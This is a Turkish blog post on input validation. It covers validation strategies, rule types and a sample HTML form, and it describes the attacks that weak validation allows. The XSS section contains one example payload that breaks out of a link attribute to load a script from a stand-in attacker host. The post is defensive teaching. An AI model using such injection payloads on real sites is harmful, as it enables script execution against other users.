Girdi Doğrulama (Input Validation)

Teknolojinin hem inovasyonu hem de kolaylığı beslediği günümüzün hızla gelişen dijital ortamında, dijital varlıklarımızın güvenliğini sağlamak kritik bir endişe kaynağı olmaya başlamıştır. Sağlam uygulama güvenliği oluşturmanın temelinde en önemli kavramlardan biri olan “Girdi Doğrulama (girdi doğrulama)” yatmaktadır.  Bu blog yazısında, Girdi Doğrulama’nın önemini ve bir dizi potansiyel saldırıya karşı dijital savunmamızı güçlendirmedeki etkisini tanıtacağız.

Girdi Doğrulama nedir?

Girdi doğrulama, bir uygulama veya sistem tarafından alınan verilerin bütünlüğünü ve uygunluğunu doğrulama işlemidir. Verilerin doğru formatta, beklenen değer aralığında olup olmadığının ve herhangi bir kötü amaçlı kod veya karakter içermediğinin kontrol edilmesidir. Girdi doğrulama, bir uygulama veya sistem tarafından yalnızca geçerli verilerin işlenmesini sağlayarak hataları ve güvenlik açıklarını önlemeye yardımcı olur.

Yukarıda tanımıyla başladığımız Girdi Doğrulama biraz daha detaylandırmak için ilk sorumuzla devam ediyoruz:

Peki Girdi Doğrulama neden bu kadar önemlidir?

Girdi Doğrulama

Aşağıda örnek olarak birkaç neden gösterilmiştir:

Güvenlik: Girdi Doğrulama, SQL enjeksiyonu ve siteler arası komut dosyası (XSS) saldırıları gibi güvenlik açıklarının önlenmesine yardımcı olur.

Veri Bütünlüğü: Girdi Doğrulama, bir uygulama veya sistem tarafından yalnızca geçerli verilerin işlenmesini sağlayarak hataları önler ve veri bütünlüğünü korur.

Uyumluluk: Birçok düzenleyici standart, kuruluşların hassas verileri korumak için Girdi Doğrulama uygulamasını gerektirir.

İşlevsellik: Veri girişlerinin doğru formatta ve beklenen aralıklarda olduğunu doğrulayarak, verilerin web sitenize doğru şekilde alınmasını ve işlenmesini sağlayabilirsiniz. Örneğin, bir kullanıcı satın alma sürecinizde yanlış kredi kartı bilgilerini belirtirse, onlardan ücret alınmaz.

Girdi Doğrulama Stratejileri:

Girdi Doğrulama hem Syntactic hem de Semantic düzeyde uygulanmalıdır.

Syntactic Validation(Sözdizimsel doğrulama), yapılandırılmış alanların (örn. TC no, tarih, para birimi simgesi) doğru uzunlukta olup olmadığı, geçerli karakterler içerip içermediği veya belirli bir kalıpla eşleşip eşleşmediği gibi girdinin biçimini kontrol eder. Örneğin, sözdizimsel doğrulama bir parolanın en az sekiz karakter uzunluğunda olup olmadığını ve büyük ve küçük harflerin, sayıların ve sembollerin bir karışımını içerip içermediğini kontrol edebilir.

Semantic Validation(Anlamsal doğrulama), değerlerin belirli iş bağlamında doğruluğunu zorunlu kılar (örn. başlangıç tarihi bitiş tarihinden önce olmalı, fiyat beklenen aralıkta olmalıdır). Örneğin, anlamsal doğrulama bir kredi kartı numarasının doğru formatta olup olmadığını ve daha önce kullanılmadığını kontrol edebilir.

İnput Validation’ın tanımı, neden önemli olduğu ve izlenmesi gereken stratejilerden bahsettik. Ve böylelikle sonraki önemli adıma gelmiş bulunuyoruz:

Girdi Doğrulama nasıl uygulanır?

Girdi doğrulamayı uygulamak zor değildir. Geçersiz girişi önlemek için hangi kuralların gerekli olduğunu bulmanız ve ardından bunları sisteme eklemeniz yeterlidir.

1. Bütün Veri Girişleri Not Edilir:

Tüm olası kullanıcı girdilerinin bir listesini oluşturulur, sonra tüm kullanıcı formlarına bakılır ve URL parametreleri gibi diğer girdi türlerini göz önünde bulundurarak kaydedilir.

2. Kurallar oluşturulur:

Tüm veri girdilerinin bir listesini yapıldıktan sonra, hangi girdilerin kabul edilebilir olduğunu belirleyen kurallar oluşturulur. İşte uygulanması gereken birkaç yaygın kural:

  • Whitelisting: Yalnızca belirli karakterlerin girilmesine izin verilir.
  • Blacklisting: Belirli karakterlerin girilmesi engellenir.
  • Format: Yalnızca belirli bir biçime uyan girdilere izin verilir. Örneğin yalnızca e-posta adreslerine izin verilir.
  • Length: Yalnızca belirli bir uzunluğa kadar olan girdilere izin verilir.
<form>
<label for="firstname"> First Name: </label>
<input type="text" name="firstname" id="firstname" required maxlength="45">
<label for="lastname"> Last Name: </label>
<input type="text" name="lastname" id="lastname" required maxlength="45">
<button>Submit</button>
</form>

Girdi Doğrulama

3. Kurallar Uygulanır:

Kuralları uygulamak için, web sitesine veya uygulamaya; kurallara uymayan herhangi bir girdiyi reddeden bir kod eklenmesi gerekir. Geçersiz girdilerin oluşturduğu tehdit nedeniyle, sistem canlıya geçmeden önce test edilmelidir.

4. Çeşitli Açıklamalar Verilmeli:

Girdi Doğrulama’nın kullanıcılara da yardımcı olması varsayılarak, hem bir girdinin neden yanlış olduğunu hem de bunun yerine ne eklenmesi gerektiğini açıklayan mesajlar eklenmelidir.

Son konu başlığımızda hangi atak türlerinin düzgün şekilde tasarlanmamış Girdi Doğrulama durumundan faydalanması daha yaygın görünür:

SQL Injection: SQL enjeksiyon saldırıları, web sitelerinin veritabanına erişim kazanmak amacıyla, web formları veya diğer kullanıcı giriş alanlarına zararlı kod eklemek için yetersiz giriş doğrulamasından yararlanır.

Örneğin, çevrimiçi mağazanızın ziyaretçilerin belirli ürünleri Stok uygulamasında arama yapmasına olanak tanıyan bir form olduğunu düşünün; format şu şekilde olmalıdır: NNN-DDDDD-DD, burada N büyük bir harf ve D bir rakamdır.

Yanlış girişleri önlemek için bir doğrulama kuralı oluşturmanız gerekecek (regex [A-Z]{3}-\d{5}-\d{2}). Eğer bir doğrulama kuralınız yoksa ve veriler formatla eşleşmiyorsa, uygulamanız hiçbir şey bulamayacaktır. Ayrıca, bir SQL sorgusu yaparken input sanitization(giriş temizleme) işlemi yapılmazsa, bu istenmeyen sonuçlara yol açabilir.

File Upload Attacks: Birçok site kullanıcıların belge yüklemesine izin verir. En yaygın kullanım durumlarından biri kullanıcı profil resimlerinin yüklenmesidir. Ancak bir kullanıcının profil resmi için web sitenize ne tür dosyalar yüklediğini kontrol etmezseniz, sunucunuzda bir sürü kötü amaçlı dosyayla karşılaşabilirsiniz. Örneğin, sunucunuzda çalışan backdoors veya sunucunuzdan sunulan kötü amaçlı indirmeler.

Cross-site Scripting (XSS): Siteler arası komut dosyası oluşturma (XSS) saldırıları, web sayfanıza kötü amaçlı kod enjekte etmek için yanlış doğrulanmış kullanıcı girdilerinden yararlanabilir.

Örneğin, bir kullanıcı adını ve web sitesi adresini belirttiğinde, oluşturulan kodun şu şekilde olmasını bekleyebilirsiniz:

<a href="https://example-user-site.com">commenter name</a>

Ancak hacker, bir kullanıcı URL yerine bunun gibi bir şey belirtirse, o zaman bir sorun yaşarsınız:

https://example-user-site[.]com"></a><script src="https://example-evil-site[.]xyz/xss.js"></script><a href="https://example-user-site[.]com

Eğer uygulamanız Girdi Doğrulama ve input sanitation yapmazsa bu yorumla birlikte web sayfasına kötü amaçlı bir komut dosyası enjekte edilebilir.

Buffer Overflow Attacks: Arabellek taşması saldırıları, bilgisayar sistemini büyük bir bilgi yığınıyla aşırı yükleyerek yanıt veremez hale getiren Girdi Doğrulama saldırı türüdür.

Sonuç:

Girdi Doğrulama, kuruluşların uygulamaları ve sistemleri tarafından işlenen verilerin bütünlüğünü ve güvenliğini sağlamalarına yardımcı olan siber güvenliğin kritik bir bileşenidir. Girdi Doğrulama’nın çeşitli yönleri konusunda güncel kalarak ve en iyi uygulamaları takip ederek kuruluşlar güvenlik duruşlarını iyileştirebilir ve kendilerini siber saldırılara karşı koruyabilirler.